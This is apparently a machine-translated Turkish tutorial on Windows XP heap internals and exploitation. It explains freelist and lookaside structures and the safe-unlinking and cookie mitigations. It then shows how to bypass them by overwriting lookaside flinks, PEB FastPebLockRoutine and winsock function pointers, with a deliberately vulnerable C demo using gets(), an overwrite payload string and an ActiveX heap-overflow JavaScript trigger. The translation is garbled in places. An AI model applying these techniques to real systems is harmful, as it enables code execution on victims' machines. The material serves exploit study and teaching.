Bir kahve alın ve bu gizemli siyah sanatı inceleyelim.
Peki bir yığın ve blok tam olarak nedir?
Varsayılan olarak, Windows yığın için belirli bir yapıya sahiptir. PEBdeki uzaklık 0x90da, sıralı bir dizi yapısında (kronolojik sırayla) verilen işlem için yığınların bir listesini görebilirsiniz. Bazı yığın yapılarına bakalım:
Windbg kullanarak mevcut PEByi! Peb kullanarak bulabiliriz. Bağışıklık Hata Ayıklayıcı kullanıcısıysanız, bu bilgileri! Peb kullanarak da görüntüleyebilirsiniz. ! Peb için sağlanan çok basit kod aşağıdadır.
Kod:
from immlib import *
def main(args):
imm = Debugger()
peb_address = imm.getPEBAddress()
info = 'PEB: 0x%08x' % peb_address
return info
PEBye girdikten sonra süreç yığınlarını görebiliriz:
Kod:
+0x090 ProcessHeaps : 0x7c97ffe0 -> 0x00240000 ****
0x7c97ffe0 işaretçi konumunda
Kod:
0:000> dd 7c97ffe0
7c97ffe0 00240000 00340000 00350000 003e0000
7c97fff0 00480000 00000000 00000000 00000000
7c980000 00000000 00000000 00000000 00000000
7c980010 00000000 00000000 00000000 00000000
7c980020 02c402c2 00020498 00000001 7c9b2000
7c980030 7ffd2de6 00000000 00000005 00000001
7c980040 fffff89c 00000000 003a0043 0057005c
7c980050 004e0049 004f0044 00530057 0073005c
dwordlerin dökümünü alalım
Kalın yazılmış adresler, bu süreçte çalışan mevcut yığınlardır. Bu bilgi ayrıca windbg ve Immunity Debuggerda! Heap komutunu kullanarak bulunabilir.
Ek olarak, windbgdeki! Heap -stat komutunu kullanarak her bir yığınla ilgili istatistiksel bilgileri görüntüleyebilirsiniz. Aşağıda bunun örnek çıktısı verilmiştir:
Kod:
_HEAP 00030000
Segments 00000002
Reserved bytes 00110000
Committed bytes 00014000
VirtAllocBlocks 00000000
VirtAlloc bytes 00000000
Son olarak, Immunity Debuggerda -h ve -q bayrağını kullanarak yığınla ilgili bazı **** verileri dökebilirsiniz.
İlk yığın (0x00240000) varsayılan yığın iken, diğer yığınlar C bileşenlerinden veya yapılarından oluşturulur.
Çıktıdaki son yığın (0x00480000) uygulamamız tarafından oluşturuldu. Uygulama, ek öbek (ler) oluşturmak için HeapCreate () gibi bir çağrı kullanabilir ve işaretçileri PEBde 0x90 ofsetinde saklayabilir. Aşağıda HeapCreate () için Windows API gösterilmektedir.
Kod:
HANDLE WINAPI HeapCreate(
__in DWORD flOptions,
__in SIZE_T dwInitialSize,
__in SIZE_T dwMaximumSize
);
HeapCreate () e doğru parametrelerle yapılan bir çağrı, EAX kaydında depolanan oluşturulan öbeğe bir işaretçi döndürecektir.
Argümanlar aşağıdaki gibidir:
Kod:
flOptions
+ HEAP_CREATE_ENABLE_EXECUTE: allow the execution of application code)
+ HEAP_GENERATE_EXCEPTIONS: An exception is raised when a call to HeapAlloc() or HeapReAlloc() is
called and cant be fulfilled
+ HEAP_NO_SERIALIZE: Serialized access is not used when the heap functions access this heap
dwInitialSize
+ The initial size that is committed for the heap rounded up to the nearest page size (4k). If 0
is specified, then a single page size for the heap is set. The value must be smaller than
dwMaximumSize.
dwMaximumSize
+ The maximum size of the heap. If requests are made to HeapAlloc() or HeapReAlloc() that exceed
the dwinitialSize value, then the virtual memory manager will return page(s) of memory that will
fill the al******** request and the remainder of memory will be stored in the freelist. If
dwMaximumSize is 0, the heap can grow in size. The heap's size is limited only by the available
memory.
Bayraklar hakkında daha fazla bilgi msdnde bulunabilir.
Aşağıda, önemli konumların vurgulanmış olduğu bir yığın yapısı tablosu verilmiştir.
Kod:
Address Value Description
0x00360000 0x00360000 Base Address
0x0036000C 0x00000002 Flags
0x00360010 0x00000000 ForceFlags
0x00360014 0x0000FE00 VirtualMemoryThreshold
0x00360050 0x00360050 VirtualAllocatedBlocks List
0x00360158 0x00000000 FreeList Bitmap
0x00360178 0x00361E90 FreeList[0]
0x00360180 0x00360180 FreeList[n]
0x00360578 0x00360608 HeapLockSection
0x0036057C 0x00000000 Commit Routine Pointer
0x00360580 0x00360688 FrontEndHeap
0x00360586 0x00000001 FrontEndHeapType
0x00360678 0x00361E88 Last Free Chunk
0x00360688 0x00000000 Lookaside[n]
Bu bilgiyi görüntülemek için windbgde dt _heap komutunu kullanabilirsiniz.
Yığın segmentleri
Daha önce bahsedildiği gibi, her yığın parçası bir yığın segmentinde saklanır. Bir bellek parçası serbest bırakılırsa, yığın segmentinde depolanmanın yanı sıra serbest listeye veya görünüm listesine eklenecektir.
Tahsis ederken, eğer yığın yöneticisi görünümde veya serbest listede herhangi bir kullanılabilir boş yığın bulamazsa, taahhüt edilmemiş alandan mevcut yığın segmentine daha fazla bellek işleyecektir. Birçok ayırma nedeniyle çok fazla bellek işleniyorsa, bir yığın yapısı birçok segmente sahip olabilir.
Aşağıda, segment yığın yapısını gösteren bir tablo bulunmaktadır.
Kod:
Header Self Size (0x2) Prev Size (0x2) Segment index (0x1) Flag (0x1) Unused (0x1) Tag index (0x1)
Data
Yığın segmentlerini analiz ederken, windbgde ! Heap -a [heap address] komutunu kullanırız.
Ek olarak, bağışıklık hata ayıklayıcısında ! Heap -h [heap address] -c komutunu kullanabilirsiniz (-c bayrağı yığınları gösterir)
Her segment kendi **** verilerini ve ardından segment içindeki veri yığınlarını içerir. Bu, segmentin kaydedilmiş hafızasıdır ve son olarak segment, kaydedilmemiş hafızanın bir bölümünü içerir. Artık analiz etmek istediğimiz segmenti bildiğimize göre, **** veri yapısını dökmek için dt _heap_segment [segment adresi] komutunu kullanabiliriz.
Aşağıda, segment **** verilerinin yapısını içeren ayrıntılı bir tablo bulunmaktadır. Basit olması için, adres aralığını 0x00480000den başlatacağız.
Kod:
Address Value Description
0x00480008 0xffeeffee Signature
0x0048000C 0x00000000 Flags
0x00480010 0x00480000 Heap
0x00480014 0x0003d000 LargeUncommitedRange
0x00480018 0x00480000 BaseAddress
0x0048001c 0x00000040 NumberOfPages
0x00480020 0x00480680 FirstEntry
0x00480024 0x004c0000 LastValidEntry
0x00480028 0x0000003d NumberOfUncommitedPages
0x0048002c 0x00000001 NumberOfUncommitedRanges
0x00480030 0x00480588 UnCommitedRanges
0x00480034 0x00000000 AllocatorBackTraceIndex
0x00480036 0x00000000 Reserved
0x00480038 0x00381eb8 LastEntryInSegment
Bir segmentteki önemli bilgiler ilk parçadır. Bu bilgi tek başına segmentte yürümek için kullanılabilir, çünkü sadece boyutu ve ayrıntı düzeyini bilerek yığınları ve sonraki parçaları görüntüleyebilirsiniz.
Arka uç ayırıcı Freelist
Yığın yapısının 0x178 ofsetinde, FreeList [] dizisinin başlangıcını görebiliriz.
FreeList, çift bağlantılı bir yığın listesi içerir.
Hem flink hem de blink içerdikleri için çift bağlantılılar.
Yukarıdaki diyagram, serbest listenin 0-128 arasında değişen dizine alınmış yığın yığınları içerdiğini göstermektedir.
0 ile 1016 arasındaki herhangi bir yığın boyutu (maksimum boyut 1024 8 bayt **** veri olduğundan 1016dır), ayrılmış birim boyutuna göre depolanır * 8. Örneğin, serbest bırakılacak 40 baytlık bir parçam olduğunu söyleyin, sonra ben parçayı serbest listenin 4. Dizinine yerleştirir (40/8).
Bir yığın boyutu 1016 (127 * 8) baytın üzerindeyse, sayısal boyut sıralamasında serbest liste [0] girişinde depolanır.
Aşağıda, serbest liste parçasının bir açıklaması bulunmaktadır.
Kod:
Headers Self Size (0x2) Prev Size (0x2) Segment index (0x1) Flag (0x1) Unused (0x1) Tag index (0x1)
flink/blink Flink (0x4) Blink (0x4)
Data
Microsoft, serbest liste girişinin bağlantısının kaldırılmasına yönelik saldırıları önlemek için bazı azaltıcı önlemler yayınladı, aşağıda azaltıcı önlemlerin kısa bir açıklaması bulunmaktadır.
Serbest listenin güvenli bir şekilde ayrılması:
Güvenli bağlantı kesme, Microsoft tarafından Windows XP Sp2 ve sonraki sürümlerde uygulanan bir koruma mekanizmasıdır.
Temel olarak, İnsanlar için Yığın Taşması 101de tartışıldığı gibi genel yazma 4 tekniğini engellemeye çalışan bir istismar azaltma işlemidir.
Bu kontrolde, önceki yığınlar flink tahsis edilmiş parçamıza işaret eder ve bitişik parçalar yanıp söner.
Aşağıda, güvenlik mekanizmasının bir açıklaması ve şeması bulunmaktadır.
Kod:
Freelist chunk 1[flink] == Freelist chunk 2 && Freelist chunk 3[blink] ==Freelist chunk 2
Kırmızı ile gösterilen çizgiler, kontrolün yapıldığı yerdir.
Denetimlerden herhangi biri başarısız olursa, ntdll.dllye 0x7c936934e atlama yapılır.
Gördüğünüz gibi, flink / blinki kontrol eden bir kod eklememiz dışında, geleneksel bağlantısız bağlantımızla hemen hemen aynı.
Serbest Liste Başlık Çerezleri
Windows XP SP2nin tanıtımı, öbek başlıklarının içine 0x5 ofsetinde yerleştirilen rastgele bir yığın tanımlama bilgisini gördü.
Bu çerez kontrolleri yalnızca serbest liste parçalarına sahiptir.
Aşağıda, güvenlik tanımlama bilgisinin vurgulanmış olduğu bir yığın parçasının görüntüsü bulunmaktadır.
Bu rastgele bir tek bayt girişidir ve bu nedenle 256 olası değerden oluşan maksimum olası rasgeleleştirmeye sahiptir.
Bu değeri çok iş parçacıklı bir ortamda zorla uygulayabileceğinizi unutmayın.
Ön Uç Ayırıcı Lookaside Görünüm Listesi
1016 baytın (en fazla: 1016 + 8) altındaki yığın parçalarını depolamak için kullanılan tek bağlantılı bir listedir.
Göz atma listesinin arkasındaki fikir, hız ve hızlı arama süresi sağlamaktır.
Bunun nedeni, uygulamaların işlemlerin çalışma zamanı sırasında birden çok HeapAlloc () ve HeapFree () yi çalıştırmasıdır.
Hız ve verimlilik için tasarlandığından, liste girişi başına 3ten fazla boş parçaya izin vermez.
HeapFree () bir yığın üzerinde çağrılırsa ve bu belirli parça boyutu için zaten 3 girdi varsa, o zaman Freelist [n] ye serbest bırakılır.
Yığın yığın boyutu her zaman ayırmanın gerçek boyutuna + başlığı nedeniyle ek 8 bayt olarak hesaplanır.
Dolayısıyla, tahsis 16 bayt için yapılırsa, görünüm listesi 24 baytlık yığın boyutları için taranır (16 + yığın başlığı).
Aşağıdaki diyagram durumunda, pencere yığın yöneticisi başarılı olur ve görünüm listesinin 2. Dizininde kullanılabilir bir yığın bulur.
Lookaside listesi yalnızca bir sonraki kullanılabilir parçayı (kullanıcı verileri) gösteren bir flink içerir.
Kod:
Headers Self Size (0x2) Prev Size (0x2) Cookie (0x1) Flags (0x1) Unused (0x1) Segment index (0x1)
flink/blink Flink (0x4)
Data
Windows yığın yöneticisi bir ayırma isteği aldığında, isteği yerine getirebilecek boş yığın bellek parçalarını arar.
Optimizasyon ve hız için, Windows yığın yöneticisi ilk olarak (tek bağlantılı liste yapısı nedeniyle) başlangıçta görünüm listesinde gezer ve boş bir yığın bulmaya çalışır.
Eğer yığın burada bulunmazsa, Windows yığın yöneticisi arka uç ayırıcıyı deneyecektir.
Yığın yöneticisinin serbest listede dolaşacağı yer burasıdır (serbest liste [1]-serbest liste [127] arasında).
Hiçbir parça bulunmazsa, daha büyük bir yığın için serbest listedeki [0] girişini yürütür ve ardından yığınları böler.
Bir kısım öbek yöneticisine iade edilecek ve geri kalanı serbest listeye [n] dönecektir (n, boyut olarak kalan baytlara dayalı dizindir).
Bu bizi bir sonraki bölüm olan yığın işlemlerine getiriyor.
Temel Yığın İşlemleri
Yığın bölme: Yığın bölme, oldukça büyük bir parça için serbest listeye [n] erişme ve onu daha küçük parçalara ayırma işlemidir.
Serbest listede istenen tahsis boyutundan daha büyük bir parçaya erişildiğinde, yığın, istenen tahsis boyutunu karşılamak için ikiye bölünecektir.
Serbest listede [0] bunun 2048 baytlık tek bir yığın olduğunu varsayalım.
İstenen ayırma boyutu 1024 bayt (başlık dahil) ise, yığın bölünür ve 1024 baytlık yığın boyutu, arayana yeni tahsis edilmiş 1024 baytlık yığın döndürülürken serbest listeye [0] geri konur.
Yığın Birleştirme: Yığın birleştirme, merkez öbek de serbest bırakıldığında serbest kalan iki bitişik yığın bellek parçasını bir araya getirme eylemidir.
Yığın yöneticisinin bunu yapmasının nedeni, segment belleğini etkin bir şekilde kullanmaktır.
Tabii ki, parçalar serbest bırakıldığında verimlilikte bir değiş tokuş var.
Yığın birleştirme çok önemli bir işlemdir, çünkü birden fazla parça bir araya getirilebilir (bir kez ücretsiz) ve daha sonra daha büyük boyutlu diğer tahsisler için kullanılabilir.
Bu işlem gerçekleşmediyse, yığın segmentinde boşa harcanan yığınlar oluşur ve parçalara ayrılır.
Windows XP SP2 / 3 Güvenlik Mekanizmalarını Atlamak İçin Teknikler
Bakış kenarının bir kısmının üzerine yazmak:
Bu teknik, yığın tanımlama bilgilerini ve güvenli bağlantı kaldırma kontrollerini atlamak için en yaygın tekniktir.
Bu, bir write 4 ilkelini elde etmek için uygulamaya özgü bir teknik olsa da, bazı uygulamalar, güvenilir kullanım için yeterince yığın düzenini belirlemenize izin verebilir.
Lookside listesinde güvenli bir bağlantı kesme veya tanımlama bilgisi kontrolü olmadığından, bir saldırgan bitişik bir lookaside girişinde bulunan flink değerinin üzerine yazabilir ve bu işaretçiyi bir HeapAlloc () veya HeapFree () çağrısı yoluyla yalnızca daha sonra kötü amaçlı kod yazmak için geri döndürebilir.
Sonraki kullanılabilir yığın.
Bunun görsel olarak nasıl çalıştığını görelim, derin nefes alalım.
1. Mevcut segmentte parça (A) ayırarak başlıyoruz
2. Daha sonra aynı segmentte başka bir parça (B) ayırıyoruz
3. Şimdi görünüm listesine (B) parçasını serbest bırakıyoruz, böylece iki giriş var, biri segment için, diğeri de görünüm listesi için
4. Şimdi yığın (A) yı taşıyoruz (Bu daha sonra yığın Bye taşacak ve flinkini güncelleyecektir). Bu, üzerine yazılacak **** verilerdir
https://i.hizliresim.com/EqDYg4.jpg
5. Şimdi (B) parçasını yeniden ayırıyoruz (2. Adımdaki B öbeği ile aynı büyüklükte bir öbek ayırarak). Bu, öbek (B) için göstericiyi döndürür ve geçerli yığın bölütündeki referansını günceller ve bir sonraki tahsisat için hazır olur. Artık flink, yığın (B) olarak saldırganın yığın (A) taşmasından kontrol ettiği keyfi bir adrese güncellenir.
6. Şimdi parça (C) ayırarak kontrolü ele alıyoruz. Bu, yığın (B) den sonraki mevcut yığın olacak ve bu nedenle, yığın (B) nin kontrollü flinkiyle de gösterilecektir. Saldırgan, yığın (C) yi kabuk koduyla doldurur.
Bu işlem tamamlandığında, ideal olarak yazma kontrolümüzden sonra çağrılacak olan üzerine yazılmış bir işlev işaretçisinin kontrolüne sahibiz.
Aşağıda göstereceğimiz C kodu yer almaktadır.
Kod:
/*
Overwriting a chunk on the lookaside example
*/
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
char *a,*b,*c;
long *hHeap;
char buf[10];
printf("----------------------------\n");
printf("Overwrite a chunk on the lookaside\n");
printf("Heap demonstration\n");
printf("----------------------------\n");
// create the heap
hHeap = HeapCreate(0x00040000,0,0);
printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap);
printf("(+) Allocating chunk A\n");
// allocate the first chunk of size N (<0x3F8 bytes)
a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Allocating chunk B\n");
// allocate the second chunk of size N (<0x3F8 bytes)
b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b);
printf("(+) Freeing chunk B to the lookaside\n");
// Freeing of chunk B: the chunk gets referenced to the lookaside list
HeapFree(hHeap,0,b);
// set software bp
__asm__("int $0x3");
printf("(+) Now overflow chunk A:\n");
// The overflow occurs in chunk A: we can manipulate chunk B's Flink
// PEB lock routine for testing purposes
// 16 bytes for size, 8 bytes for header and 4 bytes for the flink
// strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");
// strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBBDDDD");
gets(a);
// set software bp
__asm__("int $0x3");
printf("(+) Allocating chunk B\n");
// A chunk of block size N is allocated (C). Our fake pointer is returned
// from the lookaside list.
b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Allocating chunk C\n");
// set software bp
__asm__("int $0x3");
// A second chunk of size N is allocated: our fake pointer is returned
c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
// A copy operation from a controlled input to this buffer occurs: these
// bytes are written to our chosen ********
// insert shellcode here
gets(c);
// set software bp
__asm__("int $0x3");
exit(0);
}
Birkaç __asm __ (int $ 0x3) olmasının nedeni; talimatlar, hata ayıklayıcıda yürütmeyi duraklatmak için yazılım kesme noktalarını ayarlamaktır.
Alternatif olarak, derlenmiş ikili dosyayı hata ayıklayıcıda açabilir ve çağrıların her birinde kesme noktaları ayarlayabilirsiniz.
Kodu dev c ++ da oluşturun (AT&T satır içi derlemeyi gcc.exe ile derlemeyi kullanır). Kodu çalıştırırken hata ayıklayıcıdayken ilk kırılma noktasına ulaşıyoruz, bir göz atalım.
0x00480000 segmentinde 0x18 boyutunda iki tahsis edilmiş parçamız olduğunu görebiliriz.
Bu değerden 0x8 bayt çıkarırsak, 0x10 veya 16 bayt kalır.
Bakalım kenara bir göz atalım ve bu konumu da (B) parçasını gerçekten serbest bırakıp bırakmadığımızı görelim.
Mükemmel! Böylece yığınımızı görünüm tarafında görebiliriz (8 bayt daha az, böylece başlığa işaret eder).
Bu yığın, boyutunun <1016 olması ve bu belirli parça boyutu için görünüm tarafında <= 3 parça olması nedeniyle bu konuma serbest bırakıldı.
Emin olmak için, serbest listeye bir göz atalım ve neler olduğunu görelim.
Tamam, basit görünüyor, bir segment ve birkaç tahsis oluşturmada normal olan serbest listedeki [0] dan bazıları dışında hiçbir giriş yok.
Devam ederek, yığınları ve bitişik yığın başlıklarını aşmak için bazı 0x41lerle yığın Ayı taşıyoruz.
Aynı verilerle, bitişik parçaların flinkini 0x44 kullanarak taşacağız.
Harika, saldırganların girdisi tarafından 0x00481ea8-0x8deki (parça B) ayırmamızın üzerine yazıldığını görebiliyoruz.
Lookaside girişinin 0x4444443c değerini içerdiğini de görebiliriz.
Bu değere 0x8 bayt eklersek, tam olarak kullandığımız değer olan 0x44444444 olur!
Yani bu noktada, yığın Bnin flinkini nasıl kontrol ettiğinizi anlayabilirsiniz.
Parça B (0x00481ea8-0x8) ile aynı boyut için bir ayırma yapıldıktan sonra, parça Bnin girişi, görünüm [3] girişinden kaldırılacak ve arayana geri dönecektir.
Ayrıca başlıkların da tam kontrolümüz altında olduğunu unutmayın.
Yani, yığın Aya (0x00481e88) bakarsak, parçanın kullanımda olduğunu görebiliriz çünkü bayrak 0x1 olarak ayarlanmıştır (meşgul olduğunu gösterir).
(0x00481ea0) adresindeki bir sonraki parça henüz güncellenmedi, çünkü bu noktada bakış açısından hala serbest bırakıldı.
Bu noktada, kod erişim bir OKUMA işleminde ihlal edecektir. Bu tekniği kullanarak bir uygulamaya saldırırken, 0x44444444ü bir işlev işaretçisi (sahte flink) ile değiştirirdik.
Şimdi, yığın yöneticisi bir sonraki ayrılan parçayı oluşturduğunda, uygulama sahte flinkin yerine yazacaktır.
Şimdi yığın Cyi ayıracağız ve tamponu rastgele bir kabuk kodu ile dolduracağız. Bu noktadaki fikir, işlev işaretçimizin uygulama çökmeden (veya çökme nedeniyle çağrılmadan) önce çağrılmasını sağlamaktır.
İnsanlar için Yığın Taşması 101de bahsetmediğim çok akıllıca bir numara, saldırganın PEB global işlev işaretleyicilerini kullanabilmesidir (yalnızca XP SP1den önce).
Ancak Windows XP SP2 ve üzeri sürümlerde bu adres işaretçileri artık rasgele dağıtılmıştır.
Bunu ilk gördüğümüzde hata ayıklayıcıya ikili yüklerken şunu kontrol edelim:
Şimdi tekrar yapalım:
İki PEB adresinin farklı olduğuna dikkat edin.
Bir istisna oluştuğunda, istisna dağıtıcısı büyük olasılıkla ExitProcess () i çağıracak ve daha sonra RtlAcquirePebLock () u çağıracaktır.
Bu işlem, istisna sırasında pebde hiçbir değişiklik yapılmayacak şekilde gerçekleştirilir ve işleyici gönderildikten sonra, RtlReleasePebLock () çağrısı yoluyla kilidi serbest bırakır.
Ek olarak, bu işlevler içinde kullanılan işaretçiler W | X korumalı değildir, yani bu bellek bölgesinde yazabilir ve çalıştırabiliriz.
Bu işlevlerin her biri, çakıldan sabit bir ofseti olan statik işaretçilerden yararlanır.
Kod:
7C91040D > 6A 18 PUSH 18
7C91040F 68 4004917C PUSH ntdll.7C910440
7C910414 E8 B2E4FFFF CALL ntdll.7C90E8CB
7C910419 64:A1 18000000 MOV EAX,DWORD PTR FS:[18]
7C91041F 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30]
7C910422 8945 E0 MOV DWORD PTR SS:[EBP-20],EAX
7C910425 8B48 20 MOV ECX,DWORD PTR DS:[EAX+20]
7C910428 894D E4 MOV DWORD PTR SS:[EBP-1C],ECX
7C91042B 8365 FC 00 AND DWORD PTR SS:[EBP-4],0
7C91042F FF70 1C PUSH DWORD PTR DS:[EAX+1C]
7C910432 FF55 E4 CALL DWORD PTR SS:[EBP-1C]
7C910435 834D FC FF OR DWORD PTR SS:[EBP-4],FFFFFFFF
7C910439 E8 C8E4FFFF CALL ntdll.7C90E906
7C91043E C3 RETN
Aşağıda RtlAcquirePebLock () işlevi ve görebileceğiniz gibi FS: [18] (peb) EAXe taşınır.
Kod:
7C910451 > 64:A1 18000000 MOV EAX,DWORD PTR FS:[18]
7C910457 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30]
7C91045A FF70 1C PUSH DWORD PTR DS:[EAX+1C]
7C91045D FF50 24 CALL DWORD PTR DS:[EAX+24]
7C910460 C3 RETN
Daha sonra 0x30 ofsetinde, global fonksiyon işaretçileri depolanır ve 0x24 ofsetinde çağrılacak olan FastPebLockRoutine () fonksiyonu bulunur.
ADolayısıyla, bir istisna oluştuğunda RtlAcquirePebLock () ve RtlReleasePebLock () rutinleri çağrıldığında, kod sürekli olarak bir istisnayı tetikleyecek ve kodunuzu sonsuza kadar çalıştıracaktır.
Bununla birlikte, kabuk kodunuzu çalıştırarak ve ardından işaretçi konumunu bunun yerine exit () işaretini gösterecek şekilde değiştirerek pebe yama yapabilirsiniz.
Mevcut süreçte ne kadar çok iş parçacığı olursa, o kadar az rasgeleleştirme olur (rastgele adresler birden fazla PEB için kullanılır) ve mevcut PEBnin adresini tahmin edebiliriz.
Bununla birlikte, sorun hala, write 4 ilkelimiz (genel bir işlev göstericisi) için üzerine yazacak güvenilir bir işlev işaretçisine sahip olmadığımız gerçeğinde yatmaktadır.
Bazen bir uygulama, bir istisna oluşmadan önce özel bir işlev işaretçisi kullanabilir veya başka bir Windows kitaplığındaki bir işlev işaretçisi çağrılır ve bu, kodumuzla bu işaretçinin üzerine yazmak ve kabuk kodunu yürütmek için kullanılabilir.
Spesifik işaretçi istismarı:
Gösteri amacıyla, sabit PEB Global işlev işaretçileri nedeniyle Windows XP SP1 altındaki görünüm kenarındaki bir parçanın üzerine yazacağım. FastPEBLockRoutine () 0x7ffdf020 adresinde bulunur. Bu satırın açıklamasını kaldırmanız yeterlidir:
Ve bu satırı yorumlayın:
Kod:
// strcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x20\xf0\xfd\x7f");
Bu yüzden şimdi yığın A Xleri taşacağız ve AAAA ve BBBB ile yığın Bnin **** verilerine taşacağız ve sonunda 0x7ffdf020 ile yığın Bnin flinkinin üzerine yazacağız.
Kod:
gets(a);
Yeniden derleyin ve hata ayıklayıcıya yükleyin.
Şimdi C öbeğini (0x7ffdf020 ile gösterilen) ayırdığımızda, öbeği shellcode ile doldurabiliriz ve bir istisna oluştuğunda çağrılır.
Aşağıda, EAXi PEB konumunu içerecek şekilde ayarlayan aşağıdaki kodu görebiliriz ve 0x20 (FastPEBLockRoutine ()) ofsetinde yürütmeyi kodumuza aktaran bir doğrudan arama yapılır.
Artık EIP üzerinde doğrudan kontrolümüz var ve onu koda dönmek için kullanabiliriz. Buradan DEPyi atlamak ve kod yürütme almak önemsizdir.
Uygulamaya özel işaretçi istismarı:
Windows XP SP3 altında uygulamaya özel bir işaretçi kullanarak bu güvenlik açığından yararlanmanın bir örneğini sağlamadığım sürece bu makale tamamlanmış sayılmaz.
Bir yığın taşması içeren yazılımları hedeflerken, taşmanın meydana gelmesinden sonra da yazılabilen ve çalıştırılan herhangi bir sabit kodlu işlev çağrısı hedeflenmeli ve kötüye kullanılmalıdır.
Örneğin, winsocktan WSACleanup (), XP SP3 altında 0x71ab400ada sabit kodlanmış bir işlev çağrısı içerir. Bu, bellekte shellcodeumuzu da yazabileceğimiz bir konum olarak kullanılabilir.
Bu şekilde WSACleanup () (veya diğer birçok winsock işlevi) yürütüldüğünde, kabuk koduna geri yönlendirecektir.
Aşağıda WSACleanup () işlevinin sökülmesi ve kodlanmış işlev çağrısının bulunması yer almaktadır.
Windows altındaki hemen hemen tüm ağ oluşturma uygulamalarının winsocktan dışa aktarılan işlev çağrılarını kullanması muhtemeldir ve özellikle WSACleanup () tüm soket bağlantılarını temizlemek için kullanılır ve bu nedenle bir yığın taşmasından sonra yürütülmesi neredeyse garanti edilir.
Bu nedenle, üzerine yazmak için bu işlev işaretçisini (0x71ac4050) kullanmak oldukça tutarlı bir şekilde çalışıyor gibi görünüyor.
Başka bir örnekte gösterildiği gibi, recv () işlevi aynı işleve yönelik bir çağrı da içerir.
0x71ab678fdeki işlev çağrısını takip edersek, buraya indiğimizi görebiliriz:
Bu teknikle ilgili temel sorun, o konumda üzerine yazacağınız için, winsock kullanan herhangi bir kabuk kodunun (pratik olarak ekleyebileceğim her şey) başarısız olmasıdır.
Bunu çözmenin bir yolu, 0x71ac4050 konumunu orijinal kodla yeniden yamalamaktır, böylece winsock çağrıları çalışır.
Ne biliyorsun? 0x71ac4050de başka bir erteleme çağrısı, sadece bunun başarılı olacağını doğrulamak için, belleğin erişim izinlerine bakalım.
Uygulamaya Özel Yığın İstismarı Örneği:
Bir vulnerserver ikili kodu sağladım (kodun çoğu, Stephen Bradshawsın infosec enstitüsündeki blog girişinden kullanılıyor, tüm krediler ona gitmeli) ve yığın taşmaları ve memleaksleri içerecek şekilde buna göre ayarladım.
Buradaki fikir, yığını doğru şekilde tetikleyecek ve düzenleyecek bir PoC istismarı oluşturmaktır, böylece görünüm kenarındaki bir yığının üzerine yazabilir ve kod yürütme elde edebilirsiniz.
Bu (b33f: Dosya mevcut değil) dosyasını indirin ve Windows XP SP 3 altında çalıştırın ve bu tekniğin konseptini anlamanıza yardımcı olması için burada verilen örnekleri deneyin.
Şimdilik kaynak kodunu paylaşmamaya karar verdim, böylelikle insanlar öbek düzeninin doğru yolunu bulmak ve kod yürütmeyi tetiklemek için biraz tersine mühendislik yapmak zorunda kalacaklar.
Bir ipucu olarak (umarız çok büyük değildir), yığın düzenini belirleyerek çalışan PoC kodunun ekran görüntüsü:
Tabii ki, yığın belleği düzenleyebileceğiniz her durum mükemmeldir. Bir hedef süreç yığını oluşturmak için daha kolay bir hedef, müşteri tarafını güvenilir bir yol olarak kullanmaktır.
Yığın düzenlerini komut dosyası oluşturma ve kontrol etme becerisiyle, bir yığın taşması yoluyla yararlanılabilecek bir durum kurabileceğinizden emin olabilirsiniz.
Bir örnek, Alex Soritovun heaplib.jssini, yığın bellek içindeki dizeler üzerinde diğer birçok işlemi ayırmaya, serbest bırakmaya ve gerçekleştirmeye yardımcı olmak için kullanmaktır.
MSHTML tarafından kullanılan yığınları ayırmak veya serbest bırakmak için JavaScript veya DHTML kullanıyorsanız, yığın yöneticisini kontrol edebilir ve hedef tarayıcıdaki bir yığın taşmasından yürütme denetimini yeniden yönlendirebilirsiniz.
AOL 9.5 (CDDBControl.dll) ActiveX Yığın Taşması Analizi Bu güvenlik açığına bir göz atmaya ve Windows XP SP3 altında bu hatanın yararlanılabilirliğini belirlemeye karar verdim.
Denetimin komut dosyası oluşturma veya başlatma için güvenli olmadığını işaretlemesine rağmen, analiz edilmesi ilginç bir hata olabileceğini düşündüm.
Bu bölümü eklemeyecektim, ancak sinn3r sordu, bu yüzden eklemeye karar verdim
Şimdi, bir ActiveX kontrolü içinde olduğu için, tetiklenmesinin yollarından biri, IEnin tarayıcısı olan bir komut dosyası dilini kullanmaktır. .
JavaScripti sadece en esnek olduğu ve içinde heapLib.js de yazıldığı için kullanmaya karar verdim. Ortamım şöyleydi: - IE 6/7 XP SP3 heapLib.js
Öyleyse eğlence başlasın! Öncelikle Hellcode Research tarafından exploit-dbde sağlanan PoCyi tetikledim. Çökmeyi inceleyelim:
Burada görebildiğimiz şey, mevcut yığındaki segmentin aslında taahhüt edilmemiş hafızanın bittiği ve bu yığın segmenti için daha fazla hafıza kaydedemediği.
Ve bakarsak:
Başka bir segment oluşturma yeteneği olmadan yığın segmenti biter. Peki ne yapıyoruz?
Bir bağlantı kaldırma işlemini tetiklememiz gerektiğini biliyoruz.
Bunu yapmak için, Windows yığın yöneticisinin tüm verileri ayırma tamponuna (diğer parçaların üzerine yazarak) kopyalamasına, ancak mevcut segmenti çalıştırmamasına ihtiyacımız var.
Daha sonra bir sonraki tahsis veya ücretsiz tetiklendiğinde, bağlantıyı kaldırmaya çalışacaktır.
PoCyi 4000 yerine sadece 2240 bayt ile taşmayı tetikleyecek şekilde değiştirdim.
Kod:
var x = unescape("%41");
while (x.length<2240) x += x;
x = x.substring(0,2240);
target.BindToFile(x,1);
Şimdi hatayı tetiklediğimizde, aslında tarayıcıyı kilitlemiyoruz.
Elbette yığın taşmıştır, ancak başka bir bağlantı kesme işlemi olana kadar çökmeyecektir.
